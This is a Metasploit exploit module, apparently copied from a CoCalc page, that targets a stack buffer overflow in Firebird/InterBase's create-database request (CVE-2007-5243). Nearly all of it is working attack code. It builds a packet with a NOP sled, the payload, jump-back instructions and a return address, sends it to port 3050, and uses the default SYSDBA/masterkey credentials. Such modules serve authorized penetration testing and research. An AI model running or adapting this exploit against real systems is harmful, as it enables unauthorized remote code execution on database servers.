CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::BruteTargets
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'		=> 'Firebird Relational Database isc_create_database() Buffer Overflow',
15
      'Description'	=> %q{
16
          This module exploits a stack buffer overflow in Borland InterBase
17
        by sending a specially crafted create request.
18
      },
19
      'Author'	=>
20
        [
21
          'Ramon de C Valle',
22
          'Adriano Lima <adriano[at]risesecurity.org>',
23
        ],
24
      'Arch'		=> ARCH_X86,
25
      'Platform'	=> 'win',
26
      'References'	=>
27
        [
28
          [ 'CVE', '2007-5243' ],
29
          [ 'OSVDB', '38606' ],
30
          [ 'BID', '25917' ],
31
          [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
32
        ],
33
      'Privileged'	=> true,
34
      'License'	=> MSF_LICENSE,
35
      'Payload'	=>
36
        {
37
          'Space' => 512,
38
          'BadChars' => "\x00\x2f\x3a\x40\x5c",
39
          'StackAdjustment' => -3500,
40
        },
41
      'Targets'	=>
42
        [
43
          [ 'Brute Force', { } ],
44
          # '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'
45
          [
46
            'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',
47
            { 'Length' => [ 756 ], 'Ret' => 0x00370b0b }
48
          ],
49
          # Debug
50
          [
51
            'Debug',
52
            { 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }
53
          ],
54
        ],
55
      'DefaultTarget'	=> 1,
56
      'DisclosureDate'  => '2007-10-03'
57
    ))
58

59
    register_options(
60
      [
61
        Opt::RPORT(3050)
62
      ])
63
  end
64

65
  # Create database parameter block
66
  def dpb_create
67
    isc_dpb_user_name = 28
68
    isc_dpb_password = 29
69

70
    isc_dpb_version1 = 1
71

72
    user = 'SYSDBA'
73
    pass = 'masterkey'
74

75
    dpb = ''
76

77
    dpb << [isc_dpb_version1].pack('c')
78

79
    dpb << [isc_dpb_user_name].pack('c')
80
    dpb << [user.length].pack('c')
81
    dpb << user
82

83
    dpb << [isc_dpb_password].pack('c')
84
    dpb << [pass.length].pack('c')
85
    dpb << pass
86

87
    dpb
88
  end
89

90
  # Calculate buffer padding
91
  def buf_padding(length = '')
92
    remainder = length.remainder(4)
93
    padding = 0
94

95
    if remainder > 0
96
      padding = (4 - remainder)
97
    end
98

99
    padding
100
  end
101

102
  def exploit_target(target)
103

104
    target['Length'].each do |length|
105

106
      connect
107

108
      # Create database
109
      op_create = 20
110

111
      # Extra padding to trigger the exception
112
      extra_padding = 1024 * 16
113

114
      buf = ''
115

116
      # Operation/packet type
117
      buf << [op_create].pack('N')
118

119
      # Id
120
      buf << [0].pack('N')
121

122
      # Length
123
      buf << [length + extra_padding].pack('N')
124

125
      # Nop block
126
      buf << make_nops(length - payload.encoded.length - 13)
127

128
      # Payload
129
      buf << payload.encoded
130

131
      # Jump back into the nop block
132
      buf << "\xe9" + [-516].pack('V')
133

134
      # Jump back
135
      buf << "\xeb" + [-7].pack('c')
136

137
      # Random alpha data
138
      buf << rand_text_alpha(2)
139

140
      # Target
141
      buf << [target.ret].pack('V')
142

143
      # Random alpha data
144
      buf << rand_text_alpha(extra_padding)
145

146
      # Padding
147
      buf << "\x00" * buf_padding(length + extra_padding)
148

149
      # Database parameter block
150

151
      # Create database parameter block
152
      dpb = dpb_create
153

154
      # Database parameter block length
155
      buf << [dpb.length].pack('N')
156

157
      # Database parameter block
158
      buf << dpb
159

160
      # Padding
161
      buf << "\x00" * buf_padding(dpb.length)
162

163
      sock.put(buf)
164

165
      select(nil,nil,nil,4)
166

167
      handler
168

169
    end
170

171
  end
172
end
173

174